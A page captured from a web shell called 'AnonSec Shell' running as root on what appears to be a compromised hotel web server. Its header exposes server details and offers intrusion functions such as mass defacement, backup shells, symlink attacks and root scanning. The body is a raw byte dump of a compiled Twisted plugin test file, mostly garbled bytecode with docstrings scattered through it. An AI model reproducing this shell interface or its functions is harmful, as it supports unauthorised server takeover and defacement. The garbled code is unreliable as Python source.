AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_plugin.cpython-310.pyc
o

�b(c�@sdZddlZddlZddlZddlZddlZddlZddlmZ	ddl
mZddlm
Z
ddlmZddlmZddlmZmZmZdd	lmZGd
d�de
�ZGdd
�d
e
�ZGdd�dej�ZdZdd�Zdd�ZGdd�dej�ZGdd�dej�Z Gdd�dej�Z!dS)z"
Tests for Twisted plugin system.
�N)�invalidate_caches)�Callable)�	Interface)�plugin)�FilePath)�addObserver�removeObserver�textFromEventDict)�unittestc@�eZdZdZdS)�ITestPluginzS
    A plugin for use by the plugin system's unit tests.

    Do not use this.
    N��__name__�
__module__�__qualname__�__doc__�rr�:/usr/lib/python3/dist-packages/twisted/test/test_plugin.pyr�rc@r)�ITestPlugin2z
    See L{ITestPlugin}.
    Nr
rrrrr#rrc@s�eZdZdZdd�Zdd�Zd!dd�Zd	d
�Zdefdd
�Z	e	dd��Z
dd�Ze	dd��Ze	dd��Z
e	dd��Ze	dd��Ze	dd��Ze	dd��Zdd�Zd S)"�PluginTestsz_
    Tests which verify the behavior of the current, active Twisted plugins
    directory.
    cCs�tjdd�|_tj��|_t|���|_|j�	�|j�
d�|_|j�	�|j�
d��d�tt
��d��|j�
d��d|_tj�d|jj�ddl}||_dS)	zV
        Save C{sys.path} and C{sys.modules}, and create a package for tests.
        N�	mypackage�__init__.py�zplugin_basic.pyz
testplugin.py�
testpluginr)�sys�path�originalPath�modules�copy�savedModulesr�mktemp�root�createDirectory�child�package�
setContent�__file__�sibling�copyTo�originalPlugin�insertr�module)�selfrrrr�setUp/s


�
zPluginTests.setUpcC�,|jtjdd�<tj��tj�|j�dS�zR
        Restore C{sys.path} and C{sys.modules} to their original values.
        N�rrrr�clear�updater �r-rrr�tearDownG�
zPluginTests.tearDownFcCs�|j�d�}d�|dd��}|d}ttj||�tj|j=ddg|r(dgp)gD]%}z
t�|j|�Wq+t	yP}z
|j
t
jkrF�WYd}~q+d}~wwdS)N�.����c�o�)r�split�join�delattrrr�os�remover'�OSError�errno�ENOENT)r-r,�deleteSource�
modulePath�packageName�
moduleName�ext�oserrr�_unimportPythonModuleOs
����z!PluginTests._unimportPythonModulecCs|j�d���dS)z;
        Remove the plugins B{droping.cache} file.
        �dropin.cacheN)r%r$r@r4rrr�_clearCache]�zPluginTests._clearCache�methcst����fdd��}|S)z�
        This is a paranoid test wrapper, that calls C{meth} 2 times, clear the
        cache, and calls it 2 other times. It's supposed to ensure that the
        plugin system behaves correctly no matter what the state of the cache
        is.
        cs,�|��|�|���|��|�dS)N)rLr4�rNrr�wrappedks
z+PluginTests._withCacheness.<locals>.wrapped)�	functools�wraps)rNrPrrOr�_withCachenesscszPluginTests._withCachenesscCs�t�|j�}||j}|�|jd|j���|�d|j�dd�|jD�d}|�	|j
|�|�|jd�|�|j��d�|�|j
ttjg�|��}|�	|tjd|j��j�ddlm}|�	||j�dS)	a	
        Check that the cache returned by L{plugin.getCache} hold the plugin
        B{testplugin}, and that this plugin has the properties we expect:
        provide L{TestPlugin}, has the good name and description, and can be
        loaded successfully.
        z
mypackage.zI'm a test drop-in.cSsg|]	}t|jvr|�qSr)r�provided��.0�prrr�
<listcomp>�sz*PluginTests.test_cache.<locals>.<listcomp>r�
TestPluginz*A plugin used solely for testing purposes.N)r�getCacher,r*�assertEqualrG�assertIn�description�plugins�assertIs�dropin�name�striprTr�IPlugin�loadrrrY�mypackage.testpluginr)r-�cacher`�p1�
realPlugin�tprrr�
test_cacheus$

��zPluginTests.test_cachecCs>t�|j�|j}tdd�|jD��d}|�t|�d�dS)zm
        L{CachedPlugin} has a helpful C{repr} which contains relevant
        information about it.
        css�|]
}|jdkr|VqdS)rYN�rarUrrr�	<genexpr>�s�z-PluginTests.test_cacheRepr.<locals>.<genexpr>rzT<CachedPlugin 'TestPlugin'/'mypackage.testplugin' (provides 'ITestPlugin, IPlugin')>N)rrZr,r*�listr^r[�repr)r-�cachedDropin�cachedPluginrrr�test_cacheRepr�s��zPluginTests.test_cacheReprcCsLtt�t|j��}|�t|�d�ddg}|D]}|�|j�|�	�qdS)a
        L{plugin.getPlugins} should return the list of plugins matching the
        specified interface (here, L{ITestPlugin2}), and these plugins
        should be instances of classes with a C{test} method, to be sure
        L{plugin.getPlugins} load classes correctly.
        ��AnotherTestPlugin�ThirdTestPluginN)
rmr�
getPluginsrr,r[�lenr@r�test)r-r^�namesrWrrr�test_plugins�s
�zPluginTests.test_pluginsc
Cs�tt��d��|j�d��zC|�dtj�|�	t
tjdd�d�tt�
t|j��}|�t|�d�dd	g}|D]}|�|j�|��q9W|�tjdd
�dS|�tjdd
�w)ze
        Check that L{plugin.getPlugins} is able to detect plugins added at
        runtime.
        �plugin_extra1.py�pluginextra.py�mypackage.pluginextrar�pluginextraz&mypackage still has pluginextra modulerrrY�FourthTestPluginTN)rr'r(r)r%r$�failIfInrr�assertFalse�hasattrrmrrurr,r[rvr@r�test1rJ�r-�plgsrxrWrrr�test_detectNewFiles�s"
��
�*zPluginTests.test_detectNewFilesc
Cs�tt��d��|j�d��zWtt�t	|j
��}|�t|�d�tt��d��|j�d��|�
tjd�tt�t	|j
��}|�t|�d�gd�}|D]}|�|j�|��qMW|�
tjdd�d	S|�
tjdd�w)
z�
        Check that if the content of a plugin change, L{plugin.getPlugins} is
        able to detect the new plugins added.
        rzr{rrzplugin_extra2.pyr|�)rYr~�FifthTestPluginTN)rr'r(r)r%r$rmrrurr,r[rvrJrrr@rr�r�rrr�test_detectFilesChanged�s$
�
�
�*z#PluginTests.test_detectFilesChangedc
Cs�tt��d��|j�d��ztt�t	|j
��W|�tj
dd�n
|�tj
dd�wtt�t	|j
��}|�dt|��dS)zs
        Check that when a dropin file is removed, L{plugin.getPlugins} doesn't
        return it anymore.
        rzr{r|T�N)rr'r(r)r%r$rmrrurr,rJrrr[rv)r-r�rrr�test_detectFilesRemoved�s
�(z#PluginTests.test_detectFilesRemovedc	Csp|��}|�tj�|��|jj�|�ztt	�
t|j��}|�t
|�d�W|jj�|�dS|jj�|�w)zy
        Test that getCache skips over any entries in a plugin package's
        C{__path__} which do not exist.
        r�N)r!r�r?r�existsr,�__path__�appendrmrrurr[rvr@)r-rr�rrr�test_nonexistentPathEntrys"z%PluginTests.test_nonexistentPathEntryc	Cs�t|���}|�|���|��|�d�j}|jj�	|�zt
t�t
|j��}|�t|�d�W|jj�|�dS|jj�|�w)z�
        Test that getCache skips over any entries in a plugin package's
        C{__path__} which refer to children of paths which are not directories.
        �test_packager�N)rr!r�r��touchr$rr,r�r�rmrrurr[rvr@)r-rr$r�rrr�test_nonDirectoryChildEntrys"z'PluginTests.test_nonDirectoryChildEntrycCst�|j�|j�d�}tt��d��|j�d��t	�t
�|jjd�t
�|jd�|�
t
j|jjd�|�
t
j|jd�g}t|j�|�
t|j�t�|j�}|�d|�|�|j|�d|jtjf}|D]}|t|�vrud
Sqj|�d	|f�d
S)z�
        The C{dropin.cache} file may not be writable: the cache should still be
        attainable, but an error should be logged to show that the cache
        couldn't be updated.
        rKrzr{i@�i�r}�3Unable to write to plugin cache %s: error number %d�;Did not observe unwriteable cache warning in log events: %rN)rrZr,r%r$rr'r(r)�invalidateImportCachesr?�chmodr�
addCleanuprr�rr\r*rB�EPERMr	�fail)r-�	cachepath�eventsrf�expected�eventrrr�test_deployedMode,s:
�
����zPluginTests.test_deployedModeN)F)rrrrr.r5rJrLrrSrjrqryr�r�r�r�r�r�rrrrr)s.

$


 


rsj
from twisted.plugin import pluginPackagePaths
__path__.extend(pluginPackagePaths(__name__))
__all__ = []
cCsd�|��d�S)Nz�from zope.interface import provider
from twisted.plugin import IPlugin
from twisted.test.test_plugin import ITestPlugin

@provider(IPlugin, ITestPlugin)
class {}:
    pass
�ascii)�format�encoderkrrr�pluginFileContentsds�r�cCsl|��|�d�}|��|r|�d��d�|�d�}|��|r*|�d��t�|�|d��|�|S)z'
    Create a plugindummy package.
    �plugindummyrrr^�.py)r#r$r&�pluginInitFile)�	entrypath�
pluginContent�real�pluginModule�pkg�plugsrrr�_createPluginDummyts

r�c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�DeveloperSetupTestsz�
    These tests verify things about the plugin system without actually
    interacting with the deployed 'twisted.plugins' package, instead creating a
    temporary package.
    cCs>tjdd�|_tj��|_t|���|_|j�	�|j�
d�|_|j�
d�|_|j�
d�|_
t|jtd�dd�|_t|jtd�dd�|_t|j
td	�d
d�|_tj�dd
�|j|j
fD��|��|j�
d��
d�|_|j�
d�|_t��}t�|j�
d�j|dfd�t�|jj|dfd�|��|��dS)a7
        Create a complex environment with multiple entries on sys.path, akin to
        a developer's environment who has a development (trunk) checkout of
        Twisted, a system installed version of Twisted (for their operating
        system's tools) and a project which provides Twisted plugins.
        N�system_path�development_path�application_path�systemT�plugindummy_builtin�dev�appF�plugindummy_appcS�g|]}|j�qSr�r�rV�xrrrrX��z-DeveloperSetupTests.setUp.<locals>.<listcomp>r�r^rKzplugindummy_builtin.pyi�rri�)rr�	savedPathrrr rr!�fakeRootr#r$�
systemPath�devPath�appPathr�r��
systemPackage�
devPackage�
appPackage�extend�
getAllPlugins�sysplug�syscache�timer?�utime�
lockSystem�resetEnvironment)r-�nowrrrr.�s2
��� zDeveloperSetupTests.setUpcC�$t�|jjd�t�|jjd�dS)zW
        Lock the system directories, as if they were unwritable by this user.
        imN�r?r�r�rr�r4rrrr���zDeveloperSetupTests.lockSystemcCr�)zW
        Unlock the system directories, as if they were writable by this user.
        i�Nr�r4rrr�unlockSystem�r�z DeveloperSetupTests.unlockSystemcCs(ddl}tt�t|j��}dd�|D�S)zl
        Get all the plugins loadable from our dummy package, and return their
        short names.
        rNcSr�r�r)rV�plugrrrrX�r�z5DeveloperSetupTests.getAllPlugins.<locals>.<listcomp>)�plugindummy.pluginsrmrrurr^)r-r�r�rrrr��sz!DeveloperSetupTests.getAllPluginscCs.|��tj�dd�|j|j|jfD��dS)zc
        Change the environment to what it should be just as the test is
        starting.
        cSr�rr�r�rrrrX�r�z8DeveloperSetupTests.resetEnvironment.<locals>.<listcomp>N)�unsetEnvironmentrrr�r�r�r�r4rrrr��s&z$DeveloperSetupTests.resetEnvironmentcCs2t�tj��tj�|j�|jtjdd�<dS)zh
        Change the Python environment back to what it was before the test was
        started.
        N)r�rrr2r3r r�rr4rrrr��s
z$DeveloperSetupTests.unsetEnvironmentcCs|��|��dS)z�
        Reset the Python environment to what it was before this test ran, and
        restore permissions on files which were marked read-only so that the
        directory may be cleanly cleaned up.
        N)r�r�r4rrrr5�szDeveloperSetupTests.tearDowncCs2td�D]}|��}|��|�|ddg�qdS)a
        Plugins added in the development path should be loadable, even when
        the (now non-importable) system path contains its own idea of the
        list of plugins for a package.  Inversely, plugins added in the
        system path should not be available.
        r�r�r�N)�ranger��sortr[)r-r�rxrrr�"test_developmentPluginAvailability�s
	�z6DeveloperSetupTests.test_developmentPluginAvailabilitycCs�|j�d�}|�td��t��d}t�|j||f�|�d�}t	dd�}t
j|jjfddi|��t�|j||f�|��|�
�|�d|���|�d	|���|�
�|�td	��|�d|���|�d	|���d
S)z�
        Verify that if a stale .pyc file on the PYTHONPATH is replaced by a
        fresh .py file, the plugins in the new .py are picked up rather than
        the stale .pyc, even if the .pyc is still around.
        zstale.py�onei�z	stale.pycT)�legacy�quietr��twoN)r�r$r&r�r�r?r�rr(�dict�
compileall�compile_dirr@r�r\r�r)r-�mypathr��pyc�extrarrr�test_freshPyReplacesStalePyc�s 

z0DeveloperSetupTests.test_freshPyReplacesStalePyccCs�|��|j�d��td��|��tj�|j	j�g}t
|j�|�t
|j�|�d|���d|jjtjf}|D]}|t|�vrGdSq<|�d|f�dS)aF
        Verify that a failure to write the dropin.cache file on a read-only
        path will not affect the list of plugins returned.

        Note: this test should pass on both Linux and Windows, but may not
        provide useful coverage on Windows due to the different meaning of
        "read-only directory".
        znewstuff.pyr�r�r�N)r�r�r$r&r�r�rrr@r�rr�r�rr\r�r�rBr�r	r�)r-r�r�r�rrr�test_newPluginsOnReadOnlyPaths*	
����z1DeveloperSetupTests.test_newPluginsOnReadOnlyPathN)rrrrr.r�r�r�r�r�r5r�r�r�rrrrr��s*

 r�c@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�AdjacentPackageTestsz�
    Tests for the behavior of the plugin system when there are multiple
    installed copies of the package containing the plugins being loaded.
    cCs tjdd�|_tj��|_dS)zS
        Save the elements of C{sys.path} and the items of C{sys.modules}.
        N)rrrrrr r4rrrr.JszAdjacentPackageTests.setUpcCr/r0r1r4rrrr5Qr6zAdjacentPackageTests.tearDowncCsn|�|�}|�d�}|��|�d��d�|�d�}|��|�d��t�|�|d�}|�t|��|S)a`
        Create a directory containing a Python package named I{dummy} with a
        I{plugins} subpackage.

        @type root: L{FilePath}
        @param root: The directory in which to create the hierarchy.

        @type name: C{str}
        @param name: The name of the directory to create which will contain
            the package.

        @type pluginName: C{str}
        @param pluginName: The name of a module to create in the
            I{dummy.plugins} package.

        @rtype: L{FilePath}
        @return: The directory which was created to contain the I{dummy}
            package.
        �dummyrrr^r�)r$�makedirsr&r�r�)r-r"ra�
pluginName�	directoryr%r^r�rrr�createDummyPackageYs


z'AdjacentPackageTests.createDummyPackagecCs�t|���}|��|�|dd�}|�|dd�}tj�|j�tj�|j�ddl}tt	�
t|j��}|�
dgdd�|D��dS)z�
        Only plugins from the first package in sys.path should be returned by
        getPlugins in the case where there are two Python packages by the same
        name installed, each with a plugin module by a single name.
        �first�
someplugin�secondrNcSr�rr�rUrrrrX�r�zWAdjacentPackageTests.test_hiddenPackageSamePluginModuleNameObscured.<locals>.<listcomp>�rr!r�r�rrr��
dummy.pluginsrmrrurr^r[�r-r"�firstDirectory�secondDirectoryr�r^rrr�.test_hiddenPackageSamePluginModuleNameObscuredx�zCAdjacentPackageTests.test_hiddenPackageSamePluginModuleNameObscuredcCs�t|���}|��|�|dd�}|�|dd�}tj�|j�tj�|j�ddl}tt	�
t|j��}|�
dgdd�|D��dS)	z�
        Plugins from the first package in sys.path should be returned by
        getPlugins in the case where there are two Python packages by the same
        name installed, each with a plugin module by a different name.
        r��
thispluginr��
thatpluginrNcSr�rr�rUrrrrX�r�z\AdjacentPackageTests.test_hiddenPackageDifferentPluginModuleNameObscured.<locals>.<listcomp>r�r�rrr�3test_hiddenPackageDifferentPluginModuleNameObscured�r�zHAdjacentPackageTests.test_hiddenPackageDifferentPluginModuleNameObscuredN)	rrrrr.r5r�r�r�rrrrr�Dsr�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�PackagePathTestszg
    Tests for L{plugin.pluginPackagePaths} which constructs search paths for
    plugin packages.
    cCstjdd�|_dS)z3
        Save the elements of C{sys.path}.
        N)rrrr4rrrr.�rMzPackagePathTests.setUpcCs|jtjdd�<dS)z<
        Restore C{sys.path} to its original value.
        N)rrrr4rrrr5�rMzPackagePathTests.tearDowncCsTtd�}td�}|j|jgt_|�t�d�|�d��d�j|�d��d�jg�dS)z�
        L{plugin.pluginPackagePaths} should return a list containing each
        directory in C{sys.path} with a suffix based on the supplied package
        name.
        �foo�bar�
dummy.pluginsr�r^N)rrrr[r�pluginPackagePathsr$)r-r�r�rrr�test_pluginDirectories�s��z'PackagePathTests.test_pluginDirectoriescCs�t|���}|�d��d��d�}|��|�d��d�|�d�j|�d�jgt_|�t�	d�|�d��d��d�jg�dS)	a�
        L{plugin.pluginPackagePaths} should exclude directories which are
        Python packages.  The only allowed plugin package (the only one
        associated with a I{dummy} package which Python will allow to be
        imported) will already be known to the caller of
        L{plugin.pluginPackagePaths} and will most commonly already be in
        the C{__path__} they are about to mutate.
        r�r�r^rrr�r�N)
rr!r$r�r&rrr[rr�)r-r"r�rrr�test_pluginPackagesExcluded�s	�z,PackagePathTests.test_pluginPackagesExcludedN)rrrrr.r5r�r�rrrrr��sr�)"rr�rBrQr?rr��	importlibrr��typingr�zope.interfacer�twistedr�twisted.python.filepathr�twisted.python.logrrr	�
twisted.trialr
rr�TestCaserr�r�r�r�r�r�rrrr�<module>s46@]

Anon7 - 2022
AnonSec Team